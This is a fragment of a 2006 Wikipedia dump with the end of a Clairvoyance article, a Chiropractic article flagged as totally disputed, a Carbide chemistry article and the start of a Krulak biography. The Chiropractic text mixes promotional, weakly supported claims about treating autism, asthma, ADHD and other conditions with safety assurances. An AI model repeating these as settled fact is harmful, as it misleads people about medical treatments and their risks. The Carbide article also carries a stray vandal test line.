Clairvoyance as a term has its origins from the French word claire, which means &quot;clear&quot;, and voyance, &quot;seeing&quot;. It literally means 'clear seeing' in French.

There is ongoing criticism and debate of all these results in the literature.

== Training ==

Current thinking in clairvoyant circles posits that most are born with clairvoyant abilities but then start to turn them off as children are brought up to adhere to demonstrable social norms. Numerous institutes offer training courses that attempt to revive the abilities present in those early years.

* [[anomalous cognition]]
* [[James Randi Educational Foundation|James Randi's $1,000,000 Challenge]]
* [[parapsychology]]
* [[pseudoscience]]
* [[Retroactive clairvoyance]]
* [[Precall]]

==External links==
* [http://www.ghostfinders.co.uk www.GhostFinders.co.uk]
* [http://www.csicop.org/genx/ganzfeld/index.html The Best Case for ESP?] 
* [http://www.boundary.org/ Boundary Institute]
* [http://www.psychichorizons.com/ Psychic Horizons]
* [http://www.aesclepion.net/ Aesclepion ]
* [http://www.berkeleypsychic.com/ Berkeley Pscyhic Institute]
* [http://www.rosicrucian.com/zineen/magen120.htm Clairvoyance (esoteric perspective)]


[[Category:Esoteric cosmology]]
[[Category:Paranormal phenomena]]
[[Category:New Age]]
[[Category:Pseudoscience]]


[[da:Clairvoyance]]
[[de:Hellsehen]]
[[fr:Divination]]
[[pl:Jasnowidzenie]]
[[pt:Clarividência]]
[[sv:Klärvoajans]]</text>
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  <page>
    <title>Chiropractic</title>
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      <text xml:space="preserve">{{Totally disputed}}
{{TOCright}}
'''Chiropractic''', or '''chiropractic care''', is a system of health care with an underlying principle that health problems can be prevented and treated using [[spinal adjustment]]s in order to correct spinal dysfunction, or [[Vertebral subluxation|subluxation]]s. 

Some chiropractors infer a causal relationship between nerve interference or compression at the spine and subsequent problems in more distant parts or [[organ system]]s regulated by the nerve.  Practitioners of chiropractic are called ''chiropractors'', and in the [[United States of America]] they receive the degree ''Doctor of Chiropractic (D.C.)'' and are referred to as [[Doctor (title)|&quot;doctor&quot;]]. Chiropractors are licensed in all jurisdictions of the United States, in addition to many other countries throughout the world.  

There is some objective clinical data and peer-reviewed research that demonstrates the efficacy of certain therapeutic techniques used by chiropractors. The primary therapeutic technique used by chiropractors is joint manipulation (which they term &quot;adjustment&quot;), especially spinal manipulation (which is also used by some other healthcare professions). Spinal manipulation has been shown to have some value in the short-term relief of certain forms of [[back pain|back and neck pain]], [[headache]]s, and other spine-related conditions.  Studies done to demonstrate the efficacy of chiropractic care have produced conflicting results.  For example, a 1979 study showed manipulation of the lumbar spine to have no &quot;superior long-term effect compared to other methods of treatment&quot;,&lt;ref name=&quot;moritz&quot;&gt;Moritz U (1979). Evaluation of manipulation and other manual therapy. Criteria for measuring the effect of treatment. ''Scand J Rehabil Med'' 11(4):173-9. PMID 161070 [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=161070&amp;query_hl=4&amp;itool=pubmed_docsum Abstract]&lt;/ref&gt; while a 2005 study stated that &quot;the inclusion of a chiropractic benefit resulted in a reduction in the rates of surgery, advanced imaging, inpatient care, and plain-film radiographs.&quot;&lt;ref name=&quot;nelson&quot;&gt;Nelson CF, Metz RD, LaBrot T (2005). Effects of a Managed Chiropractic Benefit on the Use of Specific Diagnostic and Therapeutic Procedures in the Treatment of Low Back and Neck Pain.  ''J Man Phys Ther'' 28(8):564-569. [http://www.journals.elsevierhealth.com/periodicals/ymmt/article/PIIS016147540500240X/abstract Abstract]&lt;/ref&gt;

Like traditional medical care, chiropractic offices are often seen in professional buildings as well as shopping complexes, and the locker rooms of professional and Olympic athletes. [http://www.chiroweb.com/archives/24/05/02.html  (Chiropractic at the Winter Olympic Games)]  Medical and chiropractic doctors are found in private practice together partnering as a team for the benefit of the patient.  Some chiropractic doctors also employ massage and physiotherapists as adjuncts to chiropractic care.

Because the chiropractic profession emphasizes the importance of healthy lifestyles and does not prescribe drugs or perform surgery, chiropractic care is appealing to health-conscious Americans. Chiropractic treatment of the back, neck, extremities, and joints has become more accepted as a result of research and changing attitudes about alternative, noninvasive health care practices. [http://stats.bls.gov/oco/ocos071.htm#outlook] According to a survey released in [[2004]] by the [[National Center for Complementary and Alternative Medicine]], chiropractic was the fourth most commonly used [[complementary and alternative medicine]] therapy among adults in the [[United States]] (7.5%).{{fn|3}}&lt;sup&gt;,&lt;/sup&gt;{{fn|4}}

==History==
The roots of chiropractic care can be traced all the way back to the beginning of recorded time. [http://www.chiroweb.com/archives/ahcpr/chapter10.htm] Writings from China and Greece written in 2700 B.C. and 1500 B.C. mention spinal manipulation and the maneuvering of the lower extremities to ease lower back pain. [http://www.betterbacks.com/presentation.htm]  As early as 400 BCE the knowledge of a patient's spine was thought to be important in the treatment of many diseases, with [[Hippocrates]], in his work ''On the Articulations'', writing ''&amp;hellip;knowledge [of the spine] is requisite in many diseases.'' [http://classics.mit.edu/Hippocrates/artic.45.45.html]

Chiropractic was founded by [[Daniel David Palmer]] in [[Davenport, Iowa]], [[USA]]. Originally working as a [[magnetic healing|magnetic healer]], Palmer tried to find a single cause for 100% of all diseases. He reached a point where he even claimed to have succeeded in this mission: ''A subluxated vertebrae . . . is the cause of 95 percent of all diseases. . . . The other five percent is caused by displaced joints other than those of the vertebral column.'' (From: Palmer DD. The Science, Art and Philosophy of Chiropractic. Portland, Oregon: Portland Printing House Company, 1910.)

In 1895, Palmer was investigating the [[medical history]] of a deaf janitor, Harvey Lillard. Lillard informed Palmer that while working in a cramped area seventeen years prior, he felt a pop in his back and had been nearly deaf ever since. Upon examination, Palmer found what he described as a lump that was sore to the touch. He concluded that this lump was a misalignment in the spine and a possible cause of Lillard's deafness. After Palmer supposedly corrected this misalignment, Lillard could reportedly hear the wheels of the horse-drawn carts in the street below.
(From: Palmer DD. The Science, Art and Philosophy of Chiropractic. Portland, Oregon: Portland Printing House Company, 1910.)

Palmer claimed that no other chiropractor had duplicated this feat:
:There was nothing 'accidental' about this as it was accomplished with an object in view, and the expected result was obtained. There was nothing 'crude' about this adjustment; it was specific so much so that no chiropractor has equalled it. [http://collections.ic.gc.ca/heirloom_series/volume5/130-133.htm]

Lillard's own recollection of the event differs significantly from Palmer's recollection:
:For the record, Lillard remembered the incident differently, relating that on the fateful day he had been swapping jokes with a friend in the hall outside Palmer's office. D. D. couldn't help overhearing a conversation loud enough for Harvey's ears, so he came out to join the group and was so amused by one story's punch line that he slapped the janitor on the back with a book he was carrying. A few days later, Lillard told Palmer he believed his hearing had improved, and it was then that Palmer began his experimentation with manipulative procedures. Whatever the exact course of events, Palmer's allegiance quickly shifted from magnetism to manipulation. - James C. Whorton, ''Nature Cures: The History of Alternative Medicine in America''

The term '''''chiropractic''''' originated when Palmer asked a patient - Rev. Samuel Weed - to come up with a name from the [[Greek language]] to describe his practice. Of the several names submitted to him, Palmer accepted one which combined the words ''chiros'' and ''praktikos'' (meaning &quot;done by hand&quot;) to describe his adjustment of a [[vertebrae|vertebra]] in the [[spinal column]].

Palmer's interest in [[spiritualism]] had a major role in his claims regarding the spiritual origins of chiropractic. He claimed to have received the principles of chiropractic &quot;from the other world&quot; (during spiritistic seances), from a &quot;supernatural source&quot;, the long dead medical physician, Dr. Jim Atkinson. [http://www.chiro.org/Plus/History/Persons/PalmerDD/PalmerDD's_Religion-of-Chiro.pdf] [http://www.sherman.edu/research/rsch510/FaultyLogic-in-Chiro.pdf]

While D. D. Palmer founded chiropractic, it is generally recognized that his son, [[B. J. Palmer]], is credited with initiating the research, development and promotion of chiropractic.

Chiropractic has gained general acceptance in the last 40 years as an appropriate treatment for certain back, neck and other spine-related problems. Today, it is covered by many health plans including major medical insurance, car and work-related injuries as well as [[Medicare (United States)|Medicare]] in the United States.

==Legal History==
For decades, the American Medical Association (AMA) conducted a boycott of chiropractic claiming the practice was &quot;unscientific&quot;. An antitrust suit brought against the AMA in 1976 - [[Wilk v. American Medical Association]] - by a group of chiropractic doctors charged the AMA, as well as the Joint Council on Accreditation of Hospitals and the American College of Physicians, with restraint of trade.  In a landmark decision, the lawsuit was decided in favor of the chiropractic doctors in the Federal Appeals Court, finding the AMA guilty of conspiracy and restraint of trade. The AMA then asked the Supreme Court to hear the case, but the request was refused and the guilty verdict was upheld. The AMA has removed its restrictions on its members, allowing them to refer to, and receive referrals from, doctors of chiropractic.  [http://www.chiro.org/abstracts/amavschiro.pdf &lt;sup&gt;PDF of key transcripts&lt;/sup&gt;]

Nowadays medical physicians and chiropractors look back at their animosity toward each other as a historical process. More and more, the public is demanding that professions work together for the patient's benefit. GPs, orthopedists, neurologists,  radiologists and chiropractors consult with each other regarding patient care. The University of Alabama at Birmingham in association with its School of Medicine has a Chiropractic physician faculty member. They are believed to be the first academic institution to utilize chiropractic and provide services in conjunction with its more traditional medical services.

==Chiropractic subluxation==
Palmer imbued the term &quot;[[Vertebral subluxation|subluxation]]&quot; with a [[metaphysics|metaphysical]] and [[philosophy|philosophical]] meaning. He held that certain dislocations of [[bone]]s interfered with the &quot;[[innate intelligence]]&quot;, a kind of spiritual energy or [[life force]] dependent upon [[God]] that connects the [[brain]] to the rest of the body. Palmer claimed that subluxations interfered with the proper communication of this innate intelligence with the rest of the body, and that by fixing them 100% of all diseases could be treated.

In the mid-[[1990s]] the [http://www.chirocolleges.org/ Association of Chiropractic Colleges] redefined a subluxation as follows: ''&quot;A [[Vertebral subluxation|subluxation]] is a complex of functional and/or structural and/or pathological articular changes that compromise neural integrity and may influence organ system and general health.&quot;'' In [[1997]] the Foundation for Chiropractic Education and Research defined a subluxation as &quot;a joint problem (whether a problem with the way the joint is functioning, a physical problem with the joint, or a combination of any of these) that affects the function of nerves and therefore affects the body's organs and general health.&quot;

Most chiropractors subscribe to the principle that the body has an intelligent and self-healing physiology. One result of this is the general chiropractic belief that healthcare interventions should consider the person as a [[holistic health|whole]] and that conservative (non-invasive) treatment approaches should be used where possible.

=====Philosophy of the subluxation=====
Both chiropractic and mainstream medicine hold that much of the body is controlled by [[nerve impulses]] sent to and from the [[brain]] along the [[spinal cord]]. Whether the brain commanding the foot to move, the foot signaling the brain that it is in pain, or even a simple [[patellar reflex]], the spinal cord is involved. Outgoing impulses from the brain pass down the spinal cord and exit through the appropriate [[spinal nerve]] branch held between the [[vertebrae]] on either side of the spinal cord. There are 31 pairs of spinal nerves that emerge from the spinal cord; all of which are housed by vertebrae. If the vertebrae are misaligned (subluxated), chiropractic doctors believe that a spinal nerve can be squeezed or pinched and therefore message flow can be compromised. By aligning the vertebrae and removing restrictions on the spinal nerves, chiropractic claims to allow the spinal cord to more effectively relay messages to and from the brain; thus promoting better health.

== Scientific support for chiropractic ==
A study in the October 2005 issue of the Journal of Manipulative and Physiological Therapeutics (JMPT)[http://www.journals.elsevierhealth.com/periodicals/ymmt/article/PIIS0161475405002277/abstract] found that chiropractic and medical care have comparable costs for treating chronic low-back pain, with chiropractic care producing &quot;clinically important differences in pain and disability improvement&quot;. A group of chronic low-back patients who underwent chiropractic treatment showed higher pain relief and satisfaction with the care and lower disability scores than a group that underwent medical care. 

A 2002 investigation supports that spinal manipulation may benefit patients afflicted with [[asthma]] [http://www.chiro.org/research/ABSTRACTS/Manipulation_May_Benefit_Asthma.shtml]. A 2004 case study showed that spinal manipulation may benefit [[ADHD]] patients [http://www.journals.elsevierhealth.com/periodicals/ymmt/article/PIIS0161475404001642/fulltext]. Advocates of chiropractic claim that other recent case studies and research support chiropractic's claim to be effective with a range of conditions including [[autism]], asthma and [[Irritable Bowel Syndrome]][http://www.pacificchiro.com/pacific_chiropractic_and_research/article_autism_asthma.htm], [[Bell's palsy]] [http://journals.elsevierhealth.com/periodicals/ymmt/article/PIIS0161475402541129/fulltext], [[glaucoma]] [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=10951314&amp;dopt=Abstract], [[Crohn's disease]] [http://www.jvsr.com/abstracts/4402-1017_takeda.htm], [[colic]] [http://www.sciencedirect.com/science?_ob=GatewayURL&amp;_method=citationSearch&amp;_uoikey=B758B-4C708NS-1&amp;_origin=SDEMFRASCII&amp;_version=1&amp;md5=c5d03751c35cce8b54fdf9af77457e0e], [[ulcer]]s [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=7930964&amp;dopt=Abstract], and [[Parkinson's disease]] [http://www.erinelster.com/Articles/parkinsons_article%20_10_00.html], and, in one case, a combination of [[cortical blindness]], [[cerebral palsy]], [[epilepsy]], and recurring [[otitis media]] [http://www.chiro.org/research/FULL/Cortical_Blindness.html].  It's worthwhile to note that [[case study|case studies]] are considered &quot;Class V&quot; evidence by medical science, and are thus the least suggestive of all forms of medical evidence.[http://www.findarticles.com/p/articles/mi_qa3969/is_200401/ai_n10298227]

==Chiropractic education, licensure, and regulation==
===United States===
In the [[United States]], the Council on Chiropractic Education[http://www.cce-usa.org/] (CCE) is in charge of setting minimum guidelines for chiropractic colleges; however, additional requirements may be needed for a license depending on the [[jurisdiction]] where a chiropractor chooses to practice. In 2005, 15 chiropractic programs and 2 chiropractic institutions in the United States were accredited by the CCE. The process of [[credentialing]] varies widely by country.

Students often enter chiropractic school with a Bachelor's degree, or with three years of post-secondary education in the sciences and other appropriate coursework. However, in 2005 &quot;only one chiropractic college required a baccalaureate degree as an admission requirement.&quot;[http://www.pubmedcentral.nih.gov/articlerender.fcgi?artid=1181629] The minimum [[prerequisite]] for enrollment in a chiropractic college set forth by the CCE is 90 semester hours. The minimum cumulative GPA for a student entering a chiropractic college is 2.50. Commonly required classes include: [[language arts|communication or language skills]], [[psychology]], [[social science]] or [[humanities]], [[biology]], [[organic chemistry|organic]] and [[inorganic chemistry|inorganic]] [[chemistry]], and [[physics]]. Other common medical classes are: [[anatomy]] or [[embryology]], [[physiology]], [[microbiology]], [[diagnosis]], [[neurology]], [[x-ray]], [[orthopedics]], [[obstetrics]], and [[gynecology]].

In the United States, chiropractic programs require a minimum of 4,200 hours of combined classroom, laboratory, and clinical experience. The last 2 years stress courses in manipulation and spinal adjustment and provide clinical experience in physical and laboratory diagnosis, [[orthopedics]], [[neurology]], geriatrics, [[physiotherapy]], and [[nutrition]]. Coursework in Chiropractic school may also include study in [[gross anatomy]], [[biochemistry]], [[embryology]], [[microbiology]], [[anatomy]] and [[physiology]] in the first half of formal schooling.

Graduates of chiropractic schools have to complete 5 years of schooling and pass 4 national board exams in order to complete their education. To qualify for licensure, graduates of chiropractic schools must sit for State examination. Most State boards require at least 2 years of undergraduate education; an increasing number are requiring a 4-year bachelor’s degree. All boards require the completion of a 4-year program at an accredited chiropractic college leading to the Doctor of Chiropractic degree. Once licensed, most States require chiropractors to annually attend 12 to 48 hours of continuing education courses.

Chiropractic colleges also offer [[Postdoctoral]] training in [[neurology]], [[orthopedics]], [[sports injuries]], [[nutrition]], [[physical therapy|rehabilitation]], industrial consulting, [[radiology]], family practice, [[pediatrics]], and applied chiropractic sciences. Once such training is complete, chiropractors may take specialty exams leading to “diplomate” status in a given specialty including orthopedics, neurology and radiology. Exams are administered by specialty chiropractic associations.

==Practice styles and schools of thought==
Contemporary chiropractic is divided into three schools of thought - straight, mixer, and reform - which differ in their approaches to patient care. All chiropractic approaches are based on non-invasive, non-medication approaches, with many based on the use of manipulation as a treatment for mechanical musculoskeletal dysfunction of the spine and extremities. The three schools of thought do not correspond exactly to the existing membership organizations, but there are clear trends, with adherents tending to favor certain organizations.

The three categorizations are currently used mainly within the profession and in discussions. Since the actual differences are very real, they are explained here for the benefit of the general public, which is generally unaware of these differences:

#'''Straight''' chiropractors primarily concern themselves with [[vertebral subluxation]] correction. Practitioners often use varying vertebral manipulation techniques known as &quot;adjustments&quot; for the purpose of preventive medicine and pain relief. Straight chiropractors hold that only the body can cure the body. By aligning the vertebrae, straight chiropractors believe that they are clearing nerve impulse restrictions and therefore providing a more efficient dialogue between the brain and the rest of the body's systems, thus putting the body in a better position to cure (or heal) itself. Straight chiropractors represent a minority position, and tend to be members of the International Chiropractors Association (ICA), and the World Chiropractic Alliance (WCA). 
#'''Mixing''' chiropractors combine contemporary medical diagnosis and treatment with chiropractic adjustments. Mixing style practitioners utilize adjustments to treat chiropractic subluxations, as well as nutrition and naturopathic style remedies for other disorders. Methods used might include ultrasound, TENS, rehabilitation or the use of other diagnostic methods such as [[applied kinesiology|Applied Kinesiology]] (AK). Mixing chiropractic is itself divided into conservative and liberal groups{{fn|2}}. Many mixers are members of the American Chiropractic Association (ACA), but there are also many exceptions.
#'''Reform''' chiropractors are oriented at mainstream medicine,  advocating a highly limited use of chiropractic care primarily for treatment of musculoskeletal conditions only. 

In Australia, one of the first countries to widely accept chiropractic (since 1905), the deliniation into 'Straight' vs 'Mixer' type is all but relegated to history. The above categories are not commonly cited by the profession or the public. 

Most universities teaching chiropractic in Australia, including Palmer in Davenport Iowa, USA, are utilizing rehab methods, exercise and physiological therapeutics and nutrition. The National College (now University) incorporated physical therapy as early as 1912, even before there was a profession bearing its name. The profession here continues to be divided only into specialities. Some do spine-only. Others prefer to do sports and rehabilitation. There are musculoskeletal foci and those who co-manage people with organic problems, MS or cancer along with their regular medical approaches. Spinal and musculoskeletal approaches to health can benefit the WHOLE person, and the general public accepts this. Chiropractic doctors diligently work with other professionals to benefit the patients overall well being.

== Criticism of Chiropractic ==
Some traditional medical practitioners do not believe that chiropractic is science-based. 
There are many possible reasons for this.  Partially this is due to the beliefs of Chiropractors themselves. University of Saskatchewan sociologist Leslie Biggs surveyed Canadian Chiropractors in 1997 and found that 74.3% of those interviewed (n=600) did not believe that controlled clinical trials were the best way to evaluate Chiropractic methods. The same study revealed that 68.1% believed that most diseases are caused by spinal malalignment. [http://www.jcca-online.org/client/cca/JCCA.nsf/objects/Issue+46_3/$file/Pages173-184.pdf ]

Likewise numerous Chiropractors on the web [http://www.chiroweb.com/find/tellmeabout/colic.html] claim to treat infantile colic. According to a 1999 survey of the Ontario Chiropractic Association (which represents 83% of the Chiropractors in Ontario), 46% treated children for colic.[http://www.ccachiro.org/client/cca/JCCA.nsf/objects/Survey+-March+1999/$file/Pages050-057.pdf]  However in 2001 a Norwegian double-blind study demonstrated that Chiropractic manipulation for infantile colic proved no better than the placebo group. [http://adc.bmjjournals.com/cgi/content/abstract/84/2/138]

Also spinal manipulation for episodic tension headache has shown no significant value beyond placebo in controlled trials. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=9820258&amp;query_hl=1&amp;itool=pubmed_docsum]

In 1985, [[The National Council Against Health Fraud]] (NCAHF), a non-profit healthcare watch-dog group, issued a [http://www.ncahf.org/pp/chirop.html Position Paper] critical of chiropractic. A newer [http://www.ncahf.org/articles/c-d/chiro.html Fact Sheet], authored by William Jarvis, Ph.D., has since been issued in 2001.

===Safety===
As with all interventions, risks may be associated with the practice of [[spinal manipulation]]. These risks, although rare, might include vertebrobasilar accidents, [[stroke]]s, disc herniations, [[vertebra]]l [[fracture]], and [[cauda equina syndrome]], according to ''Harrison's''. Most serious complications occur after cervical (neck) manipulation. The practice of greatest concern is the rotary neck movement, sometimes called &quot;Master cervical&quot; or &quot;rotary break&quot;, which has led to trauma, paralysis, strokes, and death among patients.

The Chiropractic community maintains that serious complications due to manipulation of the cervical spine are rare, being 1 in 3 or 4 million manipulations or fewer.  This is based on an extensive review of spinal manipulation performed by the RAND corporation.  However values in other studies vary, Dvorak cites figures of 1 in 400,000. [http://www.chiro.org/chimages/chiropage/cva-1.html].

With studies of this nature it is difficult to determine what percentage of incidents remain unreported.  The RAND study, for example, assumed that only 1 in 10 cases would have been reported.  Dr. Edzard Ernst surveyed all Neurologists in Britain for cases of serious neurological complication occuring within 24 hours after cervical spinal manipulation during the past year.

35 such cases had been seen by the 24 who responded, and none of those cases had been reported.  His survey led him to conclude that underreporting was closer to 100%, rendering estimates &quot;non-sensical.&quot; [http://www.cmaj.ca/cgi/content/full/166/1/40]

A 2001 study in the medical journal ''Stroke'', found that vertebrobasilar accidents (VBAs) are five times more likely to occur in those aged &lt;45 years who have visited a chiropractor within 1 week prior to the VBA, than for controls who have not visited a chiropractor.[http://stroke.ahajournals.org/cgi/content/abstract/32/5/1054?ijkey=cdde44d2e78d548e9dc106feaad97fa85e056a62&amp;keytype2=tf_ipsecsha]

Commenting on the safety of chiropractic, the report from the New Zealand Commission reported, &quot;We are satisfied that chiropractic treatment in New Zealand is remarkably safe.&quot; (Report of the Commission of Inquiry Into Chiropractic 1979:pg 77)

==References==
* From [http://www.chiroweb.com/ ChiroWeb]:
** {{fnb|1}} Cherkin, Daniel C.; Mootz, Robert D. (1997) ''Chiropractic in the United States: Training, Practice, and Research'', [http://www.chiroweb.com/archives/ahcpr/foreword.htm available online]
** {{fnb|2}} Healey, James W. (1990) ''&quot;It's Where You Put the Period&quot;'', ''Dynamic Chiropractic'', Volume 08, Issue 21 ([[October 10]], 1990) [http://www.chiroweb.com/archives/08/21/13.html available online]

* From the [[National Center for Complementary and Alternative Medicine]] (NCCAM) ([http://nccam.nih.gov/ nccam.nih.gov]):
** {{fnb|3}} ''More Than One-Third of U.S. Adults Use Complementary and Alternative Medicine, According to New Government Survey'' (Press Release), [[May 27]] 2004, [http://nccam.nih.gov/news/2004/052704.htm available online]
** {{fnb|4}} ''Complementary and Alternative Medicine Use Among Adults: United States, 2002'' (Report), [[May 27]] 2004, [http://nccam.nih.gov/news/report.pdf available online] ([[PDF]] format)

* {{fnb|5}} National Association for Chiropractic Medicine (NACM) [http://www.chiromed.org]

&lt;references/&gt;

== See also ==
* [[Applied kinesiology]]
* [[Naprapathy]]
* [[Osteopathy]]
* [[Phrenology]]
* [[Reflexology]]

==External links==
=== Advocacy ===
;Chiropractic organizations
*[http://www.amerchiro.org/ American Chiropractic Association (ACA)]
*[http://www.chiropractic-uk.co.uk British Chiropractic Association (BCA)]
*[http://www.ccachiro.org/ Canadian Chiropractic Association (CCA)]
*[http://www.jac-chiro.org/ Japanese Association of Chiropractors (JAC)]
*[http://www.chiropractic.org/ International Chiropractors Association (ICA)]
*[http://www.worldchiropracticalliance.org/ World Chiropractic Alliance (WCA)]
*[http://www.wfc.org/ World Federation of Chiropractic (WFC)]

;Chiropractic colleges
*[http://www.aecc-chiropractic.ac.uk Anglo-European College of Chiropractic]
*[http://www.chirocolleges.org/ Association of Chiropractic Colleges]
*[http://www.cmcc.ca/ Canadian Memorial Chiropractic College]
*[http://www.clevelandchiropractic.edu/ Cleveland Chiropractic College]
*[http://www.lifewest.edu/ Life Chiropractic College West]
*[http://www.life.edu/ Life University School of Chiropractic]
*[http://www.logan.edu/ Logan College of Chiropractic]
*[http://www.mctimoney-college.ac.uk McTimoney Chiropractic College (UK)]
*[http://www.nycc.edu/ New York Chiropractic College]
*[http://www.chiropractic.ac.nz/ New Zealand College of Chiropractic]
*[http://www.palmer.edu/ Palmer Chiropractic College]
*[http://www.parkercc.edu/ Parker College of Chiropractic (Dallas, TX)]
*[http://www.sherman.edu/ Sherman College of Straight Chiropractic (Spartanberg, SC)]
*[http://www.txchiro.edu/ Texas Chiropractic College]
*[http://www.bridgeport.edu/chiro/ University of Bridgeport College of Chiropractic]
*[http://www.wschiro.edu/chiro/ Western States Chiropractic College]

;Descriptions of chiropractic procedures
*[http://www.spine-health.com/topics/conserv/chiro/feature/chirtr01.html Chiropractic treatments for back pain by Spine-health.com]
*[http://www.back4health.com/nervous/index.html Glossary of Chiropractic Terms]
*[http://www.lower-back-pain-answers.com Lower Back Pain Answers]

;Other resources
*[http://www.chiromatrix.com/Chiropractic_Website_Spine_Simulator/nerve_chart/ 3D Spine Simulator] -- Interactive nerve chart, body posture and subluxation / degeneration models
*[http://www.mercola.com/ Mercola] -- alternative health website with many articles about chiropractic treatment
*[http://www.chiro.org/main/ Chiropractic Resource Organization]
*[http://www.chiroweb.com/ Dynamic Chiropractic Online]
*[http://www.planetc1.com/index.shtml Planet Chiropractic]
*[http://www.todayschiropractic.com/ Today's Chiropractic magazine]

=== Critiques ===
*[http://www.pbs.org/saf/1210/index.html ''A Different Way To Heal?''] -- PBS - Scientific American Frontiers, Web Feature 
*[http://www.chirobase.org/ Chirobase.org] -- a &quot;Skeptical Guide to Chiropractic History, Theories, and Practices&quot;, [[Stephen Barrett]]
&lt;!-- Should be referenced instead of listed here 
*[http://www.dynomind.com/p/articles/mi_m2843/is_n4_v21/ai_19727577 Chiropractic: science and antiscience and pseudoscience side by side] -- Joseph C. Keating, Jr, PhD 

--&gt;
*[http://www.ccachiro.org/Client/cca/jcca.nsf/Articles/D6A4CFEBAA9D3D1885256BAE00592C9D?OpenDocument Commentary: The Specter of Dogma] -- Joseph C. Keating, Jr., PhD
*[http://www.sherman.edu/research/rsch510/FaultyLogic-in-Chiro.pdf Faulty Logic and Non-skeptical Arguments in Chiropractic] -- Joseph C. Keating Jr, PhD
*[http://www.chiromed.org/ National Association for Chiropractic Medicine]

[[Category:Chiropractic]]

[[nl:Chiropractie]]</text>
    </revision>
  </page>
  <page>
    <title>Carbide</title>
    <id>7739</id>
    <revision>
      <id>42083632</id>
      <timestamp>2006-03-03T18:42:29Z</timestamp>
      <contributor>
        <ip>213.139.195.162</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Carbid.jpg|200px|thumb|Carbide]]
In [[chemistry]], '''Carbide''' confusingly refers to three different things:

1. The [[polyatomic ion]] C&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;2−&lt;/sup&gt;, or any salt of such. There is a [[triple]] [[covalent bond]] between the two carbon atoms.

2. The [[monatomic ion]] C&lt;sup&gt;4−&lt;/sup&gt;, or any salt of such. This ion is a very strong base, and will combine with four [[proton]]s to form [[methane]]: C&lt;sup&gt;4−&lt;/sup&gt; + 4 H&lt;sup&gt;+&lt;/sup&gt; → CH&lt;sub&gt;4&lt;/sub&gt;.

3. A carbon-containing alloy or doping of a metal or semiconductor, such as steel.
==Examples==

* [[Sodium carbide]] (Na&lt;sub&gt;2&lt;/sub&gt;C&lt;sub&gt;2&lt;/sub&gt;)
* [[Silicon carbide]] (SiC)
* [[Tungsten carbide]] (often called simply ''carbide'')
* [[Cementite]] (iron carbide; Fe&lt;sub&gt;3&lt;/sub&gt;C)
See [[:Category:Carbides]] for a bigger list.

==Types of carbides==

===Methides===

A salt corresponding to the ion C&lt;sup&gt;4−&lt;/sup&gt; can be called a '''methide'''. Methides commonly react with water to form [[methane]].
testing 123

===Acetylides===

A salt corresponding to the ion C&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;2−&lt;/sup&gt; can be called an '''acetylide'''. Acetylides commonly react with water to form [[acetylene]].

===Compounds that do not fit usual notions of valence or stoichiometry===

===Interstitial carbides===

These are formed with metals; they often have metallic properties.

===Some covalent compounds===

Elements that have similar [[electronegavitity]] form mainly covalent compounds. For example, the compound silicon carbide is mostly covalent; it has similar structure to [[diamond]].

==Properties==

Under conditions of [[standard temperature and pressure]], [[metal]] carbides react strongly with [[water]] to form metal [[oxide]]s or [[hydroxide|hydroxides]] and flammable [[acetylene]] gas, e.g.:

: CaC&lt;sub&gt;2&lt;/sub&gt; + 2H&lt;sub&gt;2&lt;/sub&gt;O → C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;2&lt;/sub&gt; + Ca(OH)&lt;sub&gt;2&lt;/sub&gt;

[[Carbide lamp|Carbide lamps]], an important source of portable subterranean [[lighting|illumination]] for [[mining]] and [[caving]], and in the past for [[lighthouse]] lamps, work through on-demand production and [[combustion]] of [[acetylene]] by the metered addition of [[water]] to calcium carbide.

[[Gas lighting]], using acetylene gas generated from carbide, was used in some homes before the [[incandescent lamp]] came into widespread use. It was also the main source of lighting on [[bicycle]]s and carriages before the widespread availability of electric lamps and batteries. The carbide was prepared industrially by the action of an [[electric arc furnace]] on a mixture of [[coke (fuel)|coke]] and [[limestone]].

In the northern, eastern and southern regions of the [[Netherlands]] and in [[Belgium]] carbide is used as fireworks. To create an explosion, carbide and water are put in a milk churn with a lid. Ignition is usually done with a torch. Some villages in the Netherlands fire multiple milk churns in a row as an oldyear tradition.

==External links==
* [http://www.americanscientist.org/template/AssetDetail/assetid/14761 a good discussion on Carbide structures]
* [http://arcmelt.velp.info/ how to make Calcium Carbide using an arc welder]

[[Category:Carbides| ]]
[[Category:Salts]]

[[da:Carbid]]
[[de:Carbid]]
[[es:Carburo]]
[[eo:Karbido]]
[[fr:Carbide]]
[[ja:カーバイド]]
[[lv:Karbīdi]]
[[hu:Karbid]]
[[nl:Calciumcarbide]]
[[no:Karbid]]
[[pl:Karbid]]
[[pt:Carbeto]]
[[sl:Karbid]]
[[vi:Cacbua]]</text>
    </revision>
  </page>
  <page>
    <title>Charles C. Krulak</title>
    <id>7740</id>
    <revision>
      <id>39266338</id>
      <timestamp>2006-02-11T23:43:12Z</timestamp>
      <contributor>
        <username>AKGhetto</username>
        <id>103207</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] clean up and  re-categorisation per [[WP:CFD|CFD]]</comment>
      <text xml:space="preserve">[[Image:Charles_C._Krulak.jpg|thumb|right|250px|Charles C. Krulak]]

[[General]] '''Charles Chandler Krulak''' (born [[March 4]], [[1942]]) served as the 31st [[Commandant of the Marine Corps]] from [[July 1]], [[1995]] to [[June 30]], [[1999]].  He is the son of Lt. Gen. [[Victor H. Krulak|Victor H. &quot;Brute&quot; Krulak]], USMC, who served in [[World War II]], [[Korean War|Korea]], and [[Vietnam war|Vietnam]]. 

